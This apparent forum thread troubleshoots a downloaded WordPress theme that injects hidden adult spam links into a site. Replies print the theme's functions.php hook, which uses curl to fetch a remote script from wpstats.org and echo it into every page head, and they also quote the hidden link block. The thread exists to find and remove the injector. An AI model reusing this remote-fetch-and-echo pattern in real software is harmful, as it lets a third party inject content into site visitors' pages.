Help needed in Removing Hidden Links from a WP theme

SahL

Elite Member
Joined
Jan 8, 2011
Messages
1,592
Reaction score
1,311
So i have this wp theme which i've gotto use, After a day of activating i see

Adult keywords in description on google for this new website.

I viewed the source and found some adult keywords linking to care2.com and magento webhosting.

Deactivated this theme and everything was fine again, So its the theme which is causing it surely.

Checked each and every file in the theme but couldnt get anything :O

The code which i found by viewing source and download link of theme is below :

Code found by view source:

<div style="display:none"><h1><a href="http://www.wpdb.org/" title="wordpress plugins">wordpress plugins</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="cams live">cams live</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="Girls Cam">Girls Cam</a></h1><h1><a href="http://www.magentohostingz.com" title="magento webhosting">magento webhosting</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="girl webcam">girl webcam</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="Adult Webcam">Adult Webcam</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="sex webcam">sex webcam</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=32184&pst=1568081" title="Asian Webcams">Asian Webcams</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="adult web chat">adult web chat</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="sex on webcam">sex on webcam</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="sex video">sex video</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="sex chating">sex chating</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="sex video">sex video</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31984&pst=1564667" title="sex date">sex date</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31984&pst=1564667" title="Adult dating websites">Adult dating websites</a></h1></div>


Theme DL link:

Code:
http://www.mediafire.com/?ej2y0bmxabbddog

Virus Total : Detection ratio: 0 / 39

Code:
https://www.virustotal.com/file/4fe2c6d268e3fc9bc2b6775e21f56f37a3ac8cef0e39e2fd010dbb0f06474172/analysis/1327982943/

Help from anyone would be very much appreciated.

Thank you!
 
Last edited:
I will go through and find all the keywords and links and then remove them and then I will add a txt file in the rar which will point to all the files that had keywords and such that way you can add your own.
 
if your jquery links to wpstats.org that might be the problem
i noticed this problem few days ago, and then i change the jquery to another source and that strange links is gone.
if you are using wordpress..just look at functions.php at the theme that you are using right now.

a lot of people might experience the same because until now the bug (or hacked) have not being fixed.
source: http://wordpress.org/support/topic/un-necessary-care2com-links-in-my-source-file
 
Last edited:
goto your ftp and then goto wp-contents -> themes -> select your theme and look for footer.php its most likely there.. it may be encrypted but i highly doubt it.. just remove the necessary code
 
Ok so all you need to do is upload the theme and then activate it and then edit it and you will find them.
 
I will go through and find all the keywords and links and then remove them and then I will add a txt file in the rar which will point to all the files that had keywords and such that way you can add your own.
goto your ftp and then goto wp-contents -> themes -> select your theme and look for footer.php its most likely there.. it may be encrypted but i highly doubt it.. just remove the necessary code

if you can find them that would be great!

Ok so all you need to do is upload the theme and then activate it and then edit it and you will find them.

yes i tried to find it but cudnt anywhere in the theme files.

Footer.php doesnt have any simple links nor in encoded form.

Checked with TAC. Havent found any thing.
 
if your jquery links to wpstats.org that might be the problem
i noticed this problem few days ago, and then i change the jquery to another source and that strange links is gone.
if you are using wordpress..just look at functions.php at the theme that you are using right now.

a lot of people might experience the same because until now the bug (or hacked) have not being fixed.
source: http://wordpress.org/support/topic/un-necessary-care2com-links-in-my-source-file

doesnt link there but as you can see in the above code..the first link goes to ..www.wpdb dot org

Searched Function.php, cdnt find anything.
 
I had this issue once, where just like you i knew I had checked all the files etc. Turned out the links were actually encoded in a .GIF image. Open all the img files in a text editor and see if you see anything strange.
 
I feel your pain bro... had to buy my first WP theme ever recently... couldn't figure out how to get the footer links out... $20 :(
 
I had this issue once, where just like you i knew I had checked all the files etc. Turned out the links were actually encoded in a .GIF image. Open all the img files in a text editor and see if you see anything strange.

wahttt? in a .gif image?? :o

Wil check them. Thanks!

I feel your pain bro... had to buy my first WP theme ever recently... couldn't figure out how to get the footer links out... $20 :(

this ones for $35, im gonna use it for a semi auto blog :O
------

c'mon there must be some one on BHW who has encoded such links and knows how to remove em.

Help please!
 
Oh man this is all I have been doing lately. :(

And I have run accross the encoded .gif also...blech!

Anyway, I will take a look at it for you.

-argh11
 
doesnt link there but as you can see in the above code..the first link goes to ..www.wpdb dot org

Searched Function.php, cdnt find anything.

are you sure lookin on the functions.php?
it is on the first line, you really can't miss that..

actual coding
Code:
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init();    $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

replace with
Code:
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.6.3.min.js";$ch = curl_init();    $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

problem solved
 
Well looks like a tricky one...arn't they all! ;)

Anyway Sawangan was right about the wpstats thing.

You can look in your functions file and near the top it shows

Code:
$url = "http://www.wpstats.org/jquery-1.6.3.min.js";

simply change it to something like:

Code:
$url = "http://www.nothingtoseehere.com";

or you can get the fixed theme here:

http://www.mediafire.com/?qdtagiwwhw15v9b


Virustotal
Code:
https://www.virustotal.com/file/7cb0939289e4ffade8c2616061a0870bec3d514993f545621e0b7bc405332799/analysis/1327995441/


Cheers!
:)
-argh11
 
lol, you were a couple minutes quicker than me :)


Edit: It looks like Sawangan's fix is most likely better...as he keeps the java source file (just re-directs it to a known good one). This way your java is not broken.

disclaimer: *I don't know java that well yet*
 
Last edited:
are you sure lookin on the functions.php?
it is on the first line, you really can't miss that..

actual coding
Code:
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init();    $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

replace with
Code:
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.6.3.min.js";$ch = curl_init();    $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_:headbang:', 'insert_jquery_theme');}

problem solved


Oh! i was searching for wpdb.org links in function.php :O :P


I replaced it, it started showing the javascript on the webpage

Screenshot: http://awesomescreenshot.com/022t7tk55

so i replaced it with http://www.nothingtoseehere.com"

Working Good now!!!

Thanks alot man!! :biggthump :)


Well looks like a tricky one...arn't they all! ;)

Anyway Sawangan was right about the wpstats thing.

You can look in your functions file and near the top it shows

Code:
$url = "http://www.wpstats.org/jquery-1.6.3.min.js";

simply change it to something like:

Code:
$url = "http://www.nothingtoseehere.com";

or you can get the fixed theme here:

http://www.mediafire.com/?qdtagiwwhw15v9b


Virustotal
Code:
https://www.virustotal.com/file/7cb0939289e4ffade8c2616061a0870bec3d514993f545621e0b7bc405332799/analysis/1327995441/


Cheers!
:)
-argh11

Thanks bro, Your Fix Worked! , Fix and Upload both appreciated a lot. :mad: :)

BHW :You_Rock_ :headbang:
 
Last edited:
don't download themes from anywhere but wordpress.org or a reputable premium

I downloaded thesis from some corner of the internet and it had code pulling some jscript from j-query.org

I only found out because it 404'd
 
Isn't it fun looking for bullsh*t content in WP themes? like an Easter egg hunt haha :D
 
I'm having the same issue but changing the code in functions.php has not removed the link anybody have any other advice?? The links are to the same site as the first post on this thread. I have ran queries and check for hidden links in base64_encode php functions and haven't found anything anywhere. Any help would be greatly appreciated.
 
Last edited:
So i have this wp theme which i've gotto use, After a day of activating i see

Adult keywords in description on google for this new website.

I viewed the source and found some adult keywords linking to care2.com and magento webhosting.

Deactivated this theme and everything was fine again, So its the theme which is causing it surely.

Checked each and every file in the theme but couldnt get anything :O

The code which i found by viewing source and download link of theme is below :

Code found by view source:





I had similar problem but it was the database plugin backup buddy was doing it.

Once iremoved the plugin all the crap went away.
 
Back
Top